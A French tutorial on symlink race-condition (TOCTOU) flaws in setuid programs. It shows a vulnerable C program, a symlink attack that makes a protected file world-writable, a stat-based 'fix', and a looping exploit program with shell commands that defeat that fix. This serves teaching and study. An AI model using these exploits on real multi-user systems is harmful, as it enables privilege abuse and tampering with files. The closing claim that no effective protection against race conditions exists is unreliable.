Sommaire

1. Le programmme vulnérable et son exploitation

Comme pour beaucoup de failles applicatives il nous faut un programme pour la présenter. Ce premier va juste ouvrir un fichier, si ce fichier n'existe pas il va le créer. Aprés cela, il lui arttibura des droits de lecture et écriture pour tous les utilisateurs :

```
heurs@GITS:/FaillesAppli$ cat race1.c
#include <fcntl.h>

int main(){
        int fd;
        fd = open("fichier.txt", O_RDWR|O_CREAT, 0666);
        chmod("fichier.txt", 0666);
        close(fd);
        printf("But du jeu : ecrire dans valid.txt\n");
}
```

Executons le programme :

```
heurs@GITS:/FaillesAppli$ chmod +s ./race1
heurs@GITS:/FaillesAppli$ ./race1
But du jeu : ecrire dans valid.txt
heurs@GITS:/FaillesAppli$ ls -l
total 14
-rwsr-sr-x  1 heurs heurs 11791 2012-06-26 23:20 race1
-rw-r--r--  1 heurs heurs   193 2012-06-26 23:20 race1.c
-rw-rw-rw-  1 heurs heurs     0 2012-07-06 13:45 fichier.txt
-rw-r--r--  1 heurs heurs     0 2012-06-26 23:26 valid.txt
```

Nous voyons bien que grace au chmod("fichier.txt", 0666);[/c] tous les utilisateurs peuvent écrire dans fichier.txt .
Je vais maintenant me logger en challenger et nous allons essayer d'obtenir les droits d'écriture sur valid.txt

```
challenger@GITS:/FaillesAppli$ ./race1
But du jeu : ecrire dans valid.txt
challenger@GITS:/FaillesAppli$ ls -l
total 13
-rwsr-sr-x  1 heurs heurs 11791 2012-06-26 23:20 race1
-rw-r--r--  1 heurs heurs   193 2012-06-26 23:20 race1.c
-rw-rw-rw-  1 heurs heurs     0 2012-07-06 13:45 fichier.txt
-rw-r--r--  1 heurs heurs     0 2012-07-06 13:58 valid.txt
challenger@GITS:/FaillesAppli$ rm fichier.txt
challenger@GITS:/FaillesAppli$ ls -l

total 13
-rwsr-sr-x  1 heurs heurs 11791 2012-06-26 23:20 race1
```

```
-rw-r--r--  1 heurs heurs   193 2012-06-26 23:20 race1.c
-rw-r--r--  1 heurs heurs     0 2012-07-06 13:58 valid.txt
```

Récapitulons. En fait, ce qu'il faudrait c'est pouvoir rediriger les actions qui sont faites sur fichier.txt vers valid.txt. Une chance pour nous : cette solution est possible, cela s'appelle des fichiers à lien symbolique. Ils se créent grace à la commande ln[/c], son utilisation est la suivante :

```
challenger@GITS:/FaillesAppli$ ln -s valid.txt fichier.txt
challenger@GITS:/FaillesAppli$ ls -l
total 13
-rwsr-sr-x  1 heurs      heurs      11791 2012-06-26 23:20 race1
-rw-r--r--  1 heurs      heurs        193 2012-06-26 23:20 race1.c
lrwxrwxrwx  1 challenger challenger     9 2012-07-06 14:23 fichier.txt ->
valid.txt
-rw-r--r--  1 heurs      heurs          0 2012-07-06 13:58 valid.txt
```

Le fichier "fichier.txt" pointe maintennent sur valid.txt, c'est a dire renvoie toute les actions de lecture, écritre et execution qui seront effectuées seront redirigées vers valid.txt . Donc quand ./race1 voudra attribuer des droits à fichier.txt, ils seront en fait attribués à valid.txt ;)

```
challenger@GITS:/FaillesAppli$ ./race1
But du jeu : ecrire dans valid.txt
challenger@GITS:/FaillesAppli$ ls -l
total 13
-rwsr-sr-x  1 heurs      heurs      11791 2012-06-26 23:20 race1
-rw-r--r--  1 heurs      heurs        193 2012-06-26 23:20 race1.c
lrwxrwxrwx  1 challenger challenger     9 2012-07-06 14:23 fichier.txt ->
valid.txt
-rw-rw-rw-  1 heurs      heurs          0 2012-07-06 13:58 valid.txt
```

Et voila le tour est joué ! Nous avons maintennent les droits d'ecriture sur valid.txt :)

2. Une sécurité apportée

Face à ce problème plutot conséquent la seule solution trouvée (à ma connaissence) est de vérifier si le fichier existe bien avant de le créer. Si il existe, il n'y aura donc pas besoin de lui attribuer les droits. En revanche si il n'existe pas, on le créra et on lui attriburas ses droits. Ansi, si un lien symbolique à été fait, le fichier existera et donc aucun droit suplémentaire ne lui seras attribué. Voici un petit programme ayant se fonctionnement :

```
heurs@GITS:/FaillesAppli$ cat verif_file.c
#include <fcntl.h>

#include <sys/stat.h>
#include <unistd.h>

int main(int argc, char * argv[]){
        int fd;
        struct stat sts;
        if (!stat("fichier.txt", &sts)) return 0;
        printf("Creation et attrubition des droits...\n");
        fd = open("fichier.txt", O_RDWR|O_CREAT, 0666);
        chmod("fichier.txt", 0666);
        close(fd);
        return 0;
}
```

Testons maintenant ceci :

```
challenger@GITS:/FaillesAppli$ ./verif_file

Creation et attrubition des droits...
challenger@GITS:/FaillesAppli$ ./verif_file
challenger@GITS:/FaillesAppli$ ls -l
total 13
-rw-rw-rw-  1 heurs heurs     0 2012-07-06 15:08 fichier.txt
-rw-r--r--  1 heurs heurs     0 2012-07-06 14:59 ok.txt
-rwsr-sr-x  1 heurs heurs 12070 2012-07-06 15:08 verif_file
-rw-r--r--  1 heurs heurs   323 2012-07-06 15:08 verif_file.c
```

La sécurité à l'air de bien marcher, si un fichier est trouvé on ne fait rien du tout.

3. Les limites de la sécurité

Et oui, remettons nous a la place du pirate, nous allons déja débuger ./verif_file avant de l'attaquer :

```
challenger@GITS:/FaillesAppli$ rm fichier.txt
challenger@GITS:/FaillesAppli$ strace ./verif_file
execve("./verif_file", ["./verif_file"], [/* 17 vars */]) = 0
uname({sys="Linux", node="GITS", ...})  = 0
brk(0)                                  = 0x80497c0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40017000
[...]
munmap(0x40018000, 11663)               = 0
<span style = "color:red">stat64("fichier.txt", 0xbffff994)       = -1 ENOENT
(No such file or directory)[/c]
fstat64(1, {st_mode=S_IFCHR|0620, st_rdev=makedev(136, 0), ...}) = 0
old_mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) =
0x40018000
write(1, "Creation et attrubition des droi"..., 38Creation et attrubition des
droits...
) = 38
<span style = "color:red">open("fichier.txt", O_RDWR|O_CREAT, 0666) = 3[/c]
chmod("fichier.txt", 0666)              = 0
close(3)                                = 0
munmap(0x40018000, 4096)                = 0
exit_group(0)
```

Je vous ai mis en rouge les deux fonctions importantes, a savoir le test du fichier et sa création. Disons qu'entre ces deux syscall nous créons un lien symbolique... l'execution du programme ressemblera à ca :

> test si le fichier est là .... résultat : non
> création du lien symbolique[/c]
> affichage du message
> si aucun fichier existe en créer un... résultat : un fichier existe déja, ne rien faire
> attribution des droits au fichier

J'ai donc codé un ptit programme qui tournera en boucle pour suprimer fichier.txt et en créer un lien symbolique juste derrière :

```
#include <unistd.h>

int main(int argc, char * argv[]){
        while (1) {
```

```
                remove("fichier.txt");
                symlink("ok.txt", "fichier.txt");
        }
        return 0;
}
```

On va maintenant laisser tourner en boucle les deux programmes pour tenter de faire se chevaucher les deux instructions... Pour cela on ouvre plusieurs fenètres, la 1ère :

```
challenger@GITS:/FaillesAppli$ ./xploit-race
```

Et le 2ème :

```
challenger@GITS:/FaillesAppli$ ls -l ok.txt
-rw-r--r--  1 heurs heurs 0 2012-07-06 14:59 ok.txt
challenger@GITS:/FaillesAppli$ while true ; do ./verif_file ; done
Creation et attrubition des droits...
Creation et attrubition des droits...
Creation et attrubition des droits...
Creation et attrubition des droits...
[...]
```

Au bout de quelques minutes (2 ou 3) nous stoppons tout et admirons le résultat :

```
challenger@GITS:/FaillesAppli$ ls -l ok.txt
-rw-rw-rw-  1 heurs heurs 0 2012-07-06 14:59 ok.txt
```

Si les attribus n'ont pas changés relancez les deux commandes.

Conclusion

A ma connaissance il n'y a donc pas de protection efficace contre les races conditions, le meilleur moyen de s'en protéger reste de limiter un maximum d'utilisation de chmod. Coté hacker cette faille offre de bonnes perspectives d'attaques car elle est encore relativement présente.

Références

Nuit Du Hack 2003 - Conférence de Fozzy